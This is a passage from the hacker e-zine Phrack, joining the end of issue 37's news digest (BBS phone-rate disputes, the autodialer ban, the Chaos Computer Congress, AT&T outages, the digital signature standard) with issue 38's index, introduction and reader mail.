William Bailey, company district manager of rate administration for Missouri, makes no apologies for the company's approach. At the Kansas City meeting he admitted that the charge will have no significant impact on company revenues, but denied that it was in any way connected to their entry into information services and avowed that he wasn't informed what the company's plans were in information services. He claimed their only goal was "fairness" in that modem users tied up the system longer than voice callers and should pay more. He could not comment on the coincidence of SWB filing for the tariff within a week of the appeals court decision.

________________________________________

Computer Phone‑Fee Plan Angers Many December 8, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Christine Bertelson (St. Louis Post‑Dispatch)

"Costs May Triple For Electronic Bulletin Boards"

For Barbara Clements, the electronic bulletin board she operates on her home computer in south St. Louis County is far more than a hobby. It is her only window on the world.

Clements, 43, has severe cerebral palsy, which prevents her from walking or using her hands. Her garbled speech is difficult for many people to understand in public and impossible to comprehend on the telephone, she says.

But by sitting at the keyboard and using a head wand, Clements is able to use her modem and computer to communicate with a growing network of other computer hobbyists.

The computer network has given her a freedom and social life she is loath to lose.

"Six years ago, before I got my modem, I was a total hermit," Clements said in an interview at her home.

"My privately run bulletin board system is strictly social for my sanity. I am an equal human being on any bulletin board system because people cannot see my disability and they cannot hear my garbled speech. This makes it easier to make friends."

Clements is one of hundreds of computer hobbyists statewide who would be affected by a proposal by Southwestern Bell Corp. to charge bulletin board operators business rates instead of residential rates for telephone hookups to their terminals.

The proposal would affect not only disabled people such as Clements who see the network as a lifeline to the outside world.

The bulletin boards have become increasingly popular with computer hobbyists in the general population as well ‑ as a way to exchanging information about computers and various other interests.

Those involved from teen‑age "computer hackers" to adults trading recipes to singles looking for dates.

Hundreds of electronic bulletin boards have been added to the network across Missouri the past few years. In the St. Louis area, more than 200 are in place. Only operators of the boards would be affected by the proposed rate boost; hundreds of others who phone into them would not be covered.

The company announced the plan several weeks ago. The issue is expected to soon be before the Missouri Public Service Commission, which regulates utility rates in the state.

The telephone company says it is only trying to price its services fairly, noting that computer chitchat often lasts longer than telephone calls. Tying up telephone lines increases Bell's operating costs, a spokesman said.

Robin Martinez, a lawyer from Kansas City representing computer hobbyists there, said he plans to file a complaint this week, calling for a public hearing on the issue.

William Bailey, Southwestern Bell's district manager of rate administration for Missouri, said the company considers electronic bulletin boards operated by people such as Clements as businesses.

"If a customer acts as a business, by advertising and other things, we could charge a business rate," Bailey said. "We charge business rates to clubs and fraternities. One reason we price businesses higher is to keep residential rates lower."

Electronic bulletin boards, frequently operated from homes, function as a meeting place, their operators say.

Many are free to use, and operators often get no income from them.

Each has its on name, reflecting the personality of its "sysop" or system operators. Clements dubbed hers, appropriately, "Barb's Outlook Window."

One of Clements' electronic acquaintances is John Brawley Jr. of Eureka, known by his computer handle "The Wanderer."

The two met three months ago on her bulletin board and now regularly talk by computer about subjects from the weather to Clement's cerebral palsy to Brawley's ideas on the impact of quantum mechanics on religious concepts.

Brawley is concerned that Bell's proposal would effectively gag Clements. But, he said, there is a broader issue involved also. Charging the higher rates would restrict the free flow of information, he said.

Bailey said the principle at stake is not freedom of speech, but merely the definition of what is a business and what is not.

The U.S. Supreme Court recently cleared the way for regional telephone companies, including Southwestern Bell, to provide information services that could eventually compete with electronic bulletin boards, newspapers and data base operators.

Revenue for telephone‑delivered information in the nation was estimated at $750 million last year and projected at $2 billion next year, industry sources said.

Martinez, the lawyer for the Kansas City bulletin users, estimated that Southwestern Bell could take in $8 million more a year by charging the business rates in question. Bailey would not confirm that figure.

Once computer hobbyists file a formal complaint with the state commission, Bell would have 30 days to respond. If the issue is not resolved privately, the commission may hold a public hearing, said agency spokesman Kevin Kelly.

In the meantime, Clements said she has written to the company and is eager to testify at a hearing.

________________________________________

Agreement Nears For Phone Company And Missouri BBS Sysops February 14, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from Newsbytes

The report from Kansas City is that Southwestern Bell phone company is nearing an agreement with local operators of computer bulletin board systems in dispute over the company's charging BBSes business rates. The pact seems to center on language in a new tariff plan.

Communications Daily newsletter this week quoted attorney Robin Martinez, representing the sysops, as saying the proposed agreement calls for BBSes to be exempt from business rates if they meet certain conditions.

One of the conditions is that the boards must be located in residences. Exempted BBSes also must not charge for access, must not advertise and must have fewer than five phone lines.

Martinez says the last stumbling block in the agreement is coming up with a workable definition for "BBS" for the tariff language.

________________________________________

Final Notes

~~~~~~~~~~~

There are still some problems to be worked out in the Missouri/Southwestern Bell situation, but meanwhile, there are other similar problems going on with C&P (Bell Atlantic) Telephone in Virginia and US West Telephone in Oregon.

Our electronic rights and freedoms that we have enjoyed for oh so many years are in jeopardy because of the greed of the Regional Bell Operating Companies.

Support our Congress by supporting S 2112 and HR 3515!

PWN/Part 4

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue XXXVII / Part Four of Four PWN

PWN PWN

PWN Compiled by Dispater & Spirit Walker PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Computer Espionage: Can We Be Compromised By The Internet? December 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Extracted from Security Awareness Bulletin

The advent of computer networks linking scientists and their research institutions vastly complicates any effort to identify Soviet scientific espionage. For example, foreign travel may become less important, as computers become more directly interconnected, allowing scientists anywhere in the world to talk to each other ‑‑ and, in some cases to access information in data bases at Western academic and defense‑related institutions.

This capability has been available for some time, but in 1989 the USSR took an important step toward increasing the breadth and availability of access, by applying (with Poland, Czechoslovakia, Hungary, and Bulgaria) to be connected to the European Academic Research Network (EARN). Approval of the application in April 1990 provided Soviet and East European users access far beyond simply a link to computers throughout Western Europe. Through EARN, the Soviets would be connected to Internet, a US network serving defense, research, and academic organizations worldwide.

A number of threats are inherent in the trend toward computer linkage. The most obvious is the increased ease with which a Soviet can discuss professional matters with Westerners working on similar projects. A user also can put out a blanket request for information on any subject, and it may not always be obvious that the requestor is working for the USSR. In addition, the Soviet Academy of Sciences can use a computer network to issue general invitations to conferences ‑‑ in hopes that the responses will identify untapped research institutions or individual scientists that later can be targeted for specific information.

Access to data in the computers connected to a network normally is controlled, so that specific files can be read only by authorized users. However, the Soviets have demonstrated that an innovative "hacker" connected to computers containing sensitive information can evade the access controls in order to read that information. In the "Hannover Hacker" case, for example, the Soviet intelligence services used West German computer experts to access US restricted data bases, obtaining both software and defense‑related information.

________________________________________

Waging War Against War Dialing November 27, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Edmund L. Andrews (New York Times)

Special Thanks: Dark Overlord

WASHINGTON ‑‑ Riding a wave of popular annoyance over telephone sales calls, Congress approved and sent to President Bush a bill that would ban the use of automated dialing devices that deliver pre‑recorded messages to the home. The measure would also allow consumers to block calls from human sales‑people by placing their names on a "do not call" list.

The bill, which passed on voice votes in both the House and Senate, was supported by both Democrats and Republicans, some of whom have recounted their own aggravations with unsolicited sales calls.

Although the White House has expressed concerns about what it views as unnecessary regulation, the President has not threatened to veto the bill.

The measure, which combines provisions from several separate measures passed previously by both chambers of Congress, bans the use of autodialers for calling most individual homes. The few exceptions would be when a person has explicitly agreed to receive such a call or when the autodialer is being used to notify people of an emergency.

When autodialers are used to call businesses, they would be prohibited from reaching more than two numbers at a single business.

Many states have already passed laws that restrict autodialers, including about a dozen states that ban them altogether and about two dozen others that restrict their use in various ways.

The state laws, however, do not stop a company from using an autodialer in an unregulated state to call homes in state with regulations.

In an attempt to curb telemarketing by human sales representatives, the measure would instruct the Federal Communications Commission to either oversee the creation of a nationwide "do not call" list or issue rules ordering companies to maintain their own lists.

The bill would allow people who placed their names on such a list to file suits is small claims courts against companies that persisted in calling. The suits could seek up to $500 for each unwanted call, up to a maximum of three calls >from a single company.

Finally, the bill would ban unsolicited "junk fax" messages, which are advertisements transmitted to facsimile machines.

"This is a victory for beleaguered consumers, who in this piece of legislation have their declaration of independence from junk faxes and junk calls," said Rep. Edward J. Markey, D‑Mass., the measure's principal sponsor in the House.

Companies that make or use autodialers glumly predicted that the measure would put them out of business and would hurt small advertisers the most.

"I think it will put us out of business," said Mark Anderson, owner of the Leshoppe Corp., a New Orleans concern that uses about 160 machines for clients who sell everything from tanning products to health insurance. "What people don't understand is that a lot of mom‑and‑pop operations use electronic marketing, and use it successfully."

Ray Kolker, president of Kolker Systems, the largest maker of autodialers, echoed those views. "Passage of this bill demonstrates that Congress just isn't as concerned about the economy as they think they are," he said. "This will destroy a multibillion‑dollar business."

Telemarketing has surged in recent years, as the cost of long‑distance telephone service has plunged and as consumers have become deluged by floods of catalogues they do not read and envelopes they do not open.

According to congressional estimates, the volume of goods and services sold through all forms of telephone marketing has increased from about $72 billion in 1982 to $435 billion in 1990. Over all, an estimated 300,000 people are employed in some facet of telephone marketing.

Autodialers, which can each make about 1,500 calls a day, have become one of the most efficient but disliked forms of telemarketing. By one estimate, 20,000 autodialers are in operation at one time, with the capacity of making more than 20 million calls in a single day.

During hearings on the issue earlier this year, Sen. Daniel K. Inouye, D‑Hawaii, noted irritably that he had been summoned to the telephone only to hear a recorded sales message about winning a trip to Hawaii.

The legislation was not opposed by all companies involved in telephone sales. Many marketing experts have long deplored the use of autodialers as a sales tool, arguing that they are counter‑productive because they generate more irritation than sales interest.

The Direct Marketing Association, a trade group, has expressed cautious support for the legislation and already maintains its own, voluntary "do not call" list.

Beyond simply annoying people at home, the autodialers have been known to tie up telephone paging networks and the switchboards of hospitals and universities, and to call people on their cellular telephones.

But it remains unclear how effective the "do not call" lists would be in practice, because the two options available to the FCC differ greatly.

A national list maintained by the government would effectively protect consumers from all unwanted sales calls. But a requirement that each company maintain its own list would be much more limited, because people might have to call each company to be placed on its individual list.

Congressional aides noted that the measure passed Wednesday strongly implied that the FCC should set up its own list, because it provides two pages of detail on just how such a list should be created.

________________________________________

Foreign Guests Learn America Is Land Of The Free December 2, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Excerpted from the Orlando Sentinel

"Merry Christmas From BellSouth!"

A telephone computer glitch gave dozens of foreign travelers at downtown Orlando hotel early Christmas presents Saturday and Sunday.

The giving began when a guest at the Plantation Manor, an international youth hotel across from Lake Eola, discovered that pay phones were allowing free long‑distance calls to virtually anywhere in the world.

As the news spread, the four public phones, which are normally deserted at the hotel, were busy non‑stop until Sunday afternoon,when Southern Bell discovered the problem and dispatched technicians to shut off long‑distance service.

Roger Swain, a clerk at Plantation Manor, said the discovery was made by accident.

"One of our guests said he tried to call Houston, Texas, from the second floor," Swain said. The operator told him he didn't need to use coins because the phone was not listed as a public phone. He was on the phone for 40 minutes, and they didn't charge him.'

A spokesman for AT&T, which handles long distance for some of Southern Bell's phones, said the problem seemed to be with a Southern Bell computer.

"Our equipment is working fine," said Randy Berridge, AT&T spokesman. "If it's a Southern Bell problem, they would bear the costs.'

It's possible Southern Bell recouped some money: It still cost 25 cents for a local call.

"This is a drop in the ocean to them," one English traveler said of the phone company, which had just covered the cost of his call home at the Sunday rate of $21.74 for each half hour."

________________________________________

8th Chaos Computer Congress December 27‑29, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Klaus Brunnstein

Special Thanks: Terra of CCC

On occasion of the 10th anniversary of its foundation, Chaos Computer Club (CCC) organized its 8th Congress in Hamburg. To more than 400 participants (largest participation ever, with growing number of students rather than teen‑age scholars), a rich diversity of PC and network related themes was offered, with significantly less sessions than before devoted to critical themes, such as phreaking, hacking or malware construction. Changes in the European hacker scene became evident as only few people from Netherlands (e.g. Hack‑Tic) and Italy had come to this former hackers' Mecca.

Consequently, Congress news are only documented in German. As CCC's founding members develop in age and experience, reflection of CCC's role and growing diversity of opinions indicates that teen‑age CCC may produce less spectacular events than ever before.

This year's dominating theme covered presentations of communication techniques for PCs, Ataris, Amigas and Unix, the development of a local net as well as description of regional and international networks, including a survey. In comparison, CCC '90 documents are more detailed on architectures while sessions and demonstrations in CCC '91 (in "Hacker Center" and other rooms) were more concerned with practical navigation in such nets.

Phreaking was covered by the Dutch group HACK‑TIC which updated its CCC '90 presentation of how to "minimize expenditures for telephone conversations" by using blue boxes and red boxes, and describing available software and recent events. Detailed information on phreaking methods in specific countries and bugs in some telecom systems were discussed. More information (in Dutch) was available, including charts of electronic circuits, in several volumes of Dutch "HACKTIC: Tidschrift voor Techno‑Anarchisten" (news for techno‑anarchists).

Remark #1: Recent events (e.g. "Gulf hacks") and material presented on Chaos Congress '91 indicate that the Netherlands emerges as a new European center of malicious attacks on systems and networks.

Among other potentially harmful information, HACKTIC #14/15 publishes code of computer viruses (a BAT‑virus which does not work properly.

Remark #2: While few Netherland universities devote research and teaching to security, Delft university at least offers introductory courses into data protection.

Different from recent years, a seminar on Computer viruses (presented by Morton Swimmer of Virus Test Center, University of Hamburg) as deliberately devoted to disseminate non‑destructive information (avoiding any presentation of virus programming). A survey of legal aspects of inadequate software quality (including viruses and program errors) was presented by lawyer Freiherr von Gravenreuth.

Some public attention was drawn to the fact that the "city‑call" telephone system radio‑transmits information essentially as ASCII. A demonstration proved that such transmitted texts may easily be intercepted, analyzed and even manipulated on a PC. CCC publicly warned that "profiles" of such texts (and those addressed) may easily be collected, and asked Telecom to inform users about this insecurity; German Telecom did not follow this advice.

Besides discussions of emerging voice mailboxes, an interesting session presented a C64‑based chipcard analysis systems. Two students have built a simple mechanism to analyze (from systematic IO analysis) the protocol of a

German telephone card communicating with the public telephone box; they described, in some detail (including an electronmicroscopic photo) the architecture and the system behavior, including 100 bytes of communication data stored in a central German Telecom computer. Asked for legal implications of their work, they argued that they just wanted to understand this technology, and they were not aware of any legal constraint. They have not analyzed possibilities to reload the telephone account (which is generally possible, due to the architecture), and they did not analyze architectures or procedures of other chipcards (bank cards etc).

Following CCC's (10‑year old charter), essential discussions were devoted to social themes. The "Feminine computer handling" workshop deliberately excluded men (about 25 women participating), to avoid last year's experience of male dominance in related discussions. A session (mainly attended by informatics students) was devoted to "Informatics and Ethics", introducing the international state‑of‑discussion, and discussing the value of professional standards in the German case.

A discussion about "techno‑terrorism" became somewhat symptomatic for CCC's actual state. While external participants (von Gravenreuth, Brunnstein) were invited to this theme, CCC‑internal controversies presented the panel discussion under the technical title "definition questions". While one fraction wanted to discuss possibilities, examples and dangers of technoterrorism openly, others (CCC "ol'man" Wau Holland) wanted to generally define "terrorism" somehow academically, and some undertook to describe "government repression" as some sort of terrorism. In the controversial debate, a few examples of technoterrorism (WANK worm, development of virus techniques for economic competition and warfare) were given.

________________________________________

Another AT&T 800‑Number Outage December 16, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Dana Blankenhorn (Newsbytes)

BASKING RIDGE, NEW JERSEY ‑‑ AT&T suffered another embarrassing outage on its toll‑free "800" number lines over the weekend, right in the middle of the Christmas catalog shopping season.

Andrew Myers, an AT&T spokesman, said the problem hit at 7:20 PM on December 13 as technicians loaded new software into computers in Alabama, Georgia, and New York. The software identifies and transfers 800 calls, he said. A total of 1.8 million calls originating in parts of the eastern U.S. were impacted, the company said.

Service was restored after about one hour when technicians "backed off" the patch and went back to using the old software. Programmers are now working on the software, trying to stamp out the bugs before it's reloaded. "Obviously we don't like it when a single call doesn't get through, but I wouldn't consider this a serious problem," Myers said. The problem was reported to the Federal Communications Commission over the weekend, and to the press the next day.

The latest problem continues a disturbing trend of AT&T service outages in the Northeast. Worse, all the problems have had different causes ‑‑ power problems, switch software problems, and cable cuts caused previous outages.

________________________________________

US Congress Sets Up BBS For Whistle Blowers December 16, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Dana Blankenhorn (Newsbytes)

WASHINGTON, D.C. ‑‑ U.S. Congressman Bob Wise and his House Government Operations subcommittee on government information, justice and agriculture have opened a bulletin board service for government whistle‑blowers.

Wise himself is the system operator, or sysop, of the new board. Newsbytes contacted the board and found it accepts parameters of 8 bit words, no parity, and 1 stop bit, known as 8‑N‑1 in the trade, and will take calls from a standard 2400 bit/second Hayes‑ compatible modem.

Whistle‑blowers are employees who tell investigators about wrong‑ doing at their companies or agencies, or "blow the whistle" on wrong‑doing. Wise said that pseudonyms will be accepted on the BBS ‑‑ most private systems demand real names so as to avoid infiltration by computer crackers or other abusive users. Passwords will keep other users from reading return messages from the subcommittee, Wise added. The committee will check the board daily and get back to callers about their charges. The board is using RBBS software, a "freeware" package available without license fee.

The executive branch of the U.S. government uses a system of inspectors general to police its offices, most of whom have telephone hotlines for whistle‑blowers and accept mail as well. But the inspectors expect whistleblowers to collect evidence at work, which could get them in trouble. And efforts to contact the whistle‑blower by an inspector general representative can identify them to wrongdoers. Theoretically, calls from Congressional staffers will be seen by the bad guys as typical annoying oversight calls.

Press Contact: Rep. Bob Wise

202‑224‑3121

202‑225‑5527 BBS

________________________________________

NIST Extends Review Deadline for Digital Signature December 16, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By John McCormick (Newsbytes)

WASHINGTON, DC ‑‑ NIST, the National Institute of Standards and Technology (formerly the Bureau of Standards) has taken the unusual step of extending the review period for the controversial digital signature standard which the agency proposed at the end of August.

The normal 90‑day comment period would already have ended, but the NIST has extended that deadline until the end of February ‑ some say because the agency wishes to tighten the standard.

NIST spokespersons deny that there was any need to modify the proposed standard to increase its level of security, but James Bidzos, whose RSA Data Security markets a rival standard, says that the NIST's ElGamal algorithm is too weak and is being promoted by the government because the National Security Agency feels that it can easily break the code when necessary.

The new standard is not a way of encrypting messages themselves; that is covered by the existing DES or Data Encryption Standard. Rather, the DSS or Digital Signature Standard is the method used to verify the "signature" of the person sending the message, i.e., to make certain that the message, which might be an order to transfer money or some other important item, is really >from the person who is authorized to send such instructions.

As Newsbytes reported back in July, the NSA and NIS had been charged with developing a security system nearly four years ago. The recently announced ElGamal algorithm was previously due to be released last fall, and in the meantime the RSA encryption scheme has become quite popular.

At that time, NIST's deputy director, Raymond G. Kammer, told the Technology and Competitiveness Subcommittee of the House (U.S. House of Representatives) Science, Space and Technology Committee that the ElGamal encryption scheme, patented by the federal government, was chosen because it would save federal agencies money over the private RSA encryption and signature verification scheme.

Interestingly enough, the only company that currently markets an ElGamal DS system is Information Security Corp., 1141 Lake Cook Rd., Ste. D, Deerfield, IL 60015, a company that fought and won a bitter court battle with RSA over the right to market RSA‑based encryption software to the federal government. That was possible because RSA was developed at MIT by mathematicians working under federal grants.

ISC's $249.95 Secret Agent, which uses the ElGamal algorithm, was released at last year's Federal Office Systems Expo in Washington. ElGamal is a public key system that can be used just like the RSA system but differs from it in significant theoretical ways.

ISC's CEO and president, Thomas J. Venn, has told Newsbytes that the ElGamal system is highly secure, but the ElGamal algorithm is quite different from that of the RSA system, deriving its security from the difficulty of computing discrete logarithms, in finite field, instead of using RSA's very different method of factoring the products of two prime numbers.

RSA has fought back by posting a prize for anyone who can crack the RSA scheme. To take a stab at it, send a self‑addressed stamped envelope to RSA Data Security, Inc., 10 Twin Dolphin Dr., Redwood City, CA 94065, for the RSA list and the rules. Those with access to Internet e‑mail can send a request to challenge‑info@rsa.com.

________________________________________

PWN Quicknotes

~~~~~~~~~~~~~~

1. Computer bulletin boards aren't just for dweeby cyberpunks anymore ‑‑ at least not in San Francisco. Entrepreneur Wayne Gregori has created SF Net, a decidedly socialble computer network that links up patrons of the city's dangerously hip cafe's. From the Lower Haight to south of Market Street, high‑tech trendies are interfacing over cappuccino. All you have to do is buy a ticket from the cafe>, enter a number into an on‑site computer and begin your techno‑chat at $1 per 15 minutes. The next Gregori test site is Seattle, Washington. (Newsweek, December 2, 1991)

________________________________________

2. The (November 29, 1991 issue of) San Jose Mercury News reported that the San Mateo, California 911 system was brought to it's knees because of a prank <but not by any computer hacker or phone phreak>.

It seems that a disc jockey at KSOL decided to play a recent MC Hammer record over and over and over... as a prank. Listeners were concerned that something had happened to the personnel at the station, so they called 911 (and the police department business line). It seems that a few hundred calls in forty five minutes or an hour was enough to jam up the system. There was no report in the newspaper of any deaths or injuries to the overloaded system.

The DJ didn't want to stop playing the record (claiming First Amendment rights), but did insert an announcement to not call the police.

________________________________________

3. Jean Paul Barrett, a convict serving 33 years for forgery and fraud in the Pima County jail in Tuscon, Arizona, was released on December 13, 1991 after receipt of a forged fax ordering his release. It appears that a copy of a legitimate release order was altered to bear HIS name. Apparently no one noticed that the faxed document lacked an originating phone number or that there was no "formal" cover sheet. The "error" was discovered when Barrett failed to show up for a court hearing.

The jail releases about 60 people each day, and faxes have become standard procedure. Sheriff's Sergeant Rick Kastigar said "procedures are being changed so the error will not occur again." (San Francisco Chronicle, December 18, 1991, Page A3)

________________________________________

4. AT&T will boosted it's rates on direct‑dial, out‑of‑state calls on January 2, 1992. The increase, to affect weekday and evening calls, would add about 8 cents to the average monthly long‑distance bill of $17 and about $60 million to AT&T'd annual revenue. (USA Today, December 23, 1991, Page B1)

________________________________________

5. The following was in the AT&T shareholders quarterly, and is submitted not as a commercial solicitation but because somebody might be interested.

A colorful 22‑by‑28‑inch poster that traces the development of the telephone from Bell's first model to the latest high‑technology feature phone can be purchased for $12. To order, send a check to Poster, AT&T Archives, WV A102, 5 Reinman Road, Warren, NJ 07059‑0647. (Telephone 908‑756‑1590.)"

(Special Thanks: The Tone Surfer)

________________________________________

6. Word has it that the normal toll‑free number blue‑box is now DEAD in Norway. According to some information received by Phrack, the toll‑free numbers got switched onto the regular phone network in the United States, which you can't phreak the same way. (Special Thanks: Nosferatu)

________________________________________

7. In case you've been trying to call Blitzkreig BBS and been unable to connect with it, Predat0r is moving his board into the basement. He said the board would be back up as of February 1st. He also said that master copy of TAP #106 is finished, but he is a year behind on updating his mailing list. Predat0r said that making the copies was no problem but that with the influx of subscribers he was going to have to enlist local help to get the database updated. He also said that if someone paid for ten issues they will get ten issues. (Special Thanks: Roy the Tarantula)

________________________________________

8. There is a new science fiction book about called "Fallen Angels" by Larry Niven. The basis for the book is this: The United States government has been taken over by religious fanatics and militant environmentalists. Soon the United States is an Anti‑Technological police state. Two astronauts are shot down over the United States and are on the run. They are on the run from various government agencies such as the (Secret Service like) Environmental Protection Agency. Nivin's wild imagination provides for a great deal of humor as well as some things that are not funny at all, due to the fact that they hit just a little to close to home.

The story also mentions the Legion of Doom and The Steve Jackson Games raids. In the "acknowledgments" section at the rear of the book the author has this to say, "As to the society portrayed here, of course much of it is satirical. Alas, many of the incidents ‑‑‑ such as the Steve Jackson case in which a business was searched by Secret Service Agents displaying an unsigned search warrant ‑‑‑ are quite real. So are many of the antitechnological arguments given in the book. There really is an antiintellectual on‑campus movement to denounce 'materialistic science' in favor of something considerably more 'cold and unforgiving.' So watch it." (Special Thanks: The Mad Alchemist)

________________________________________

9. Bell Atlantic Shoots Themselves in the Foot (February 5, 1992) ‑‑ Newsbytes reports that Bell Atlantic admits having funded an advocacy group "Small Businesses for Advertising Choice" to oppose HR 3515, a bill regulating the RBOCs' entry into info services. Tennessee Democrat Jim Cooper, the sponsor, called it a "clumsy Astroturf campaign," meaning fake grass roots.

Republican co‑sponsor Dan Schaeffer was a target of a similar campaign by US West, in which telephone company employees were encouraged to call their representatives on company time to oppose the measure.

The bill is HR 3515. To get a copy, call the House Documents Room at (202)225 3456 and ask for a copy. It's free (more accurately, you have already paid for it).

________________________________________

10. Computer Hackers Get Into Private Credit Records (Columbus Dispatch, February 24, 1992) ‑‑ DAYTON ‑ Computer hackers obtained confidential credit reports of Midwest consumers from a credit reporting firm in Atlanta. Atlanta‑based Equifax said a ring of 30 hackers in Dayton [Ohio] stole credit card numbers and bill‑paying histories of the consumers by using an Equifax customer's password.

Ronald J. Horst, security consultant for the company said the break‑in apparently began in January. Police don't know if the password was stolen or if an employee of the client company cooperated with the hackers. Horst said the hackers were apparently doing it just for fun. No charges have been filed. Equifax will notify customers whose credit reports were taken.

________________________________________

11. Fingerprints And Connected Databases (Summary of an article by Stephen Schwartz, San Francisco Chronicle, February 22, 1992, Page A16) ‑‑ A fingerprint found in an unsolved 1984 murder of an 84‑year‑old woman was kept in the San Francisco police database all these years. Recently the San Francisco fingerprint database was linked with the Alameda County fingerprint database. The old print matched a new one taken in connection with a petty theft case, and so eight years later the police were able to solve the old case (burglary, arson, homicide). The two girls implicated

38

- Introduction by Dispater

- Phrack Loopback by Dispater & Phrack Staff

- Phrack Pro-Phile on Aristotle by Aristotle

- Pirates' Cove by Rambone

- Network Miscellany IV by Datastream Cowboy

- Beating The Radar Rap Part 2 of 2 by Dispater

- Users Guide to VAX/VMS Part 3 of 3 by Black Kat

- Wide Area Information Services by Mycroft

- Cellular Telephony by Brian Oblivion

- Standing Up To Fight The Bells by Knight Lightning

- The Digital Telephony Proposal by FBI

- PWN Special Report VI on CFP-2 by Max Nomad

- PWN/Part 1 by Datastream Cowboy

- PWN/Part 2 by Datastream Cowboy

- PWN/Part 3 by Datastream Cowboy

Introduction

==Phrack Inc.==

Volume Four, Issue Thirty‑Eight, File 1 of 15

Issue XXXVIII Index

__________

P H R A C K 3 8

April 26, 1992

__________

"Countdown to SummerCon '92"

"Get ready for the biggest and best computer hacker PARTY conference of the year!"

Phrack Inc. is proud to be the official sponsor of the 6th Annual SummerCon, but this year is something different.

The date and location for this year's Summer Conference are for those with a need to know. SummerCon is a private party, its for our friends, and its our business and nobody elses'. Events from our past have made it necessary to keep the important specifics under wraps, so our theme this year is privacy.

Would be informants, ignorant and biased security professionals, and little malicious rodent hackers can forget about receiving an invitation. We are making a list and checking it twice. If you would like to receive an invitation and details about SummerCon then send mail to "summer@stormking.com".

Meanwhile, back at Phrack...

It appears that Phrack is getting VERY popular. At last count we had well over 775 people directly subscribed to the Phrack Mailing List. However, some people aren't overjoyed at Phrack's popularity. In recent postings to EFF newsgroups, complaints have been lodged that people downloading Phrack from "ftp.eff.org" account for more than 1/3 of all ftp traffic on that site. Some people at EFF have even suggested that Phrack be removed completely from their system. When the high and mighty defenders of Knight Lightning's First Amendment rights begin to balk, what does that say to the community at large about EFF and their agenda?

In this issue of Phrack we feature "Cellular Telephony" by Brian Oblivion! Brian tells us to expect more files on this topic from him in the near future, but for now we can start with this very substantial taste. Additionally, this issue will wrap up Black Kat's 3‑part series on VAX/VMS and Dispater's 2‑part defense manual for police radar. Rambone is back with his second file on the Pirate community and Datastream Cowboy picks up where Taran King left off in Phrack 30 with Network Miscellany. And if that wasn't enough, Mycroft brings us a file on Wide Area Information Services (WAIS). Subtitled "How Do I Use It and Why Should I Care?" It tells you about the service in general and gives directions for using WAIS to review Phrack.

Another spotlight file in this issue is "Standing Up To Fight The Bells." Knight Lightning brings forth a message and a warning about what is happening right now in the Congress and Senate of the United States, where the Bell Operating Companies are seeking to hold on to yet another monopoly to control. Be prepared to act and act fast or live forever with the consequences ‑‑ the future of information services controlled by Ma Bell.

And finally the full details of Computers, Freedom, & Privacy II appear both in a special file by Max Nomad and in two smaller articles in Phrack World News (part 3).

We're back and we're Phrack. Enjoy reading it because we enjoy writing it!

Chief Editor: Dispater (dispater@stormking.com) Staff: Datastream Cowboy

Digital Disciple

NetLink

Takkel Genius

The Public

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Table Of Contents

~~~~~~~~~~~~~~~~~

1. Introduction by Dispater 06K

2. Phrack Loopback by Phrack Staff 12K

3. Phrack Pro‑Phile on Aristotle by Dispater 06K

4. Pirates' Cove by Rambone 23K

5. Network Miscellany IV by Datastream Cowboy 30K

6. Beating The Radar Rap Part 2 of 2 by Dispater 15K 7. Users Guide to VAX/VMS Part 3 of 3 by Black Kat 46K

8. Wide Area Information Services by Mycroft 11K

9. Cellular Telephony by Brian Oblivion 28K

10. Standing Up To Fight The Bells by Knight Lightning 27K 11. The Digital Telephony Proposal by the Federal Bureau of Investigation 34K 12. PWN Special Report VI on CFP‑2 by Max Nomad 18K 13. PWN/Part 1 by Dispater and Datastream Cowboy 34K 14. PWN/Part 2 by Dispater and Datastream Cowboy 32K 15. PWN/Part 3 by Dispater and Datastream Cowboy 33K

Total: 355K

Phrack Loopback

==Phrack Inc.==

Volume Four, Issue Thirty‑Eight, File 2 of 15

[‑=:< Phrack Loopback >:=‑]

By Phrack Staff

Phrack Loopback is a forum for you, the reader, to ask questions, air problems, and talk about what ever topic you would like to discuss. This is also the place Phrack Staff will make suggestions to you by reviewing various items of note; magazines, software, catalogs, hardware, etc.

________________________________________

Terminus Is Free

~~~~~~~~~~~~~~~~

Len Rose has been released from prison as of March 23, 1992. Those wishing to write him and send him U.S. mail:

Len Rose

Salvation Army Freedom Center

105 Ashland

Chicago, Illinois 60607

He will remain at this address until May 23, 1992.

________________________________________

Date: March 4, 1992

From: Sarlo

To: Phrack Staff

Subject: Loopback Correction

While scanning the loopback section of Issue 37, I came across this letter:

>:: Fed Proof Your BBS, NOT! ::

>

> I'm sure many of you have seen text files on making your BBS more secure. >One such file floating around is by Babbs Boy of Midnight Society. One of the >members of our Phrack Staff showed this document to EFF's Mike Godwin, who is >an attorney. He had the following comments:

>‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

>

>From: Mike Godwin

>To: Phrack Inc.

>

>(In regards to some of the files about how to "fed‑proof" your BBS:) >

>> Let's start with the log on screen: If FEDZ want anything from your board, >> they are required to provide 100% accurate information.

>

>This is false. Ask the legislators who've been convicted in "sting" >operations. In fact, so far as I can tell in a brief run‑through of this >document, absolutely no part of the so‑called "legal" advice is true. >

>Law enforcement agents who misrepresent their identities (e.g., "undercover >agents") produce admissible evidence all the time.

>

>‑‑Mike

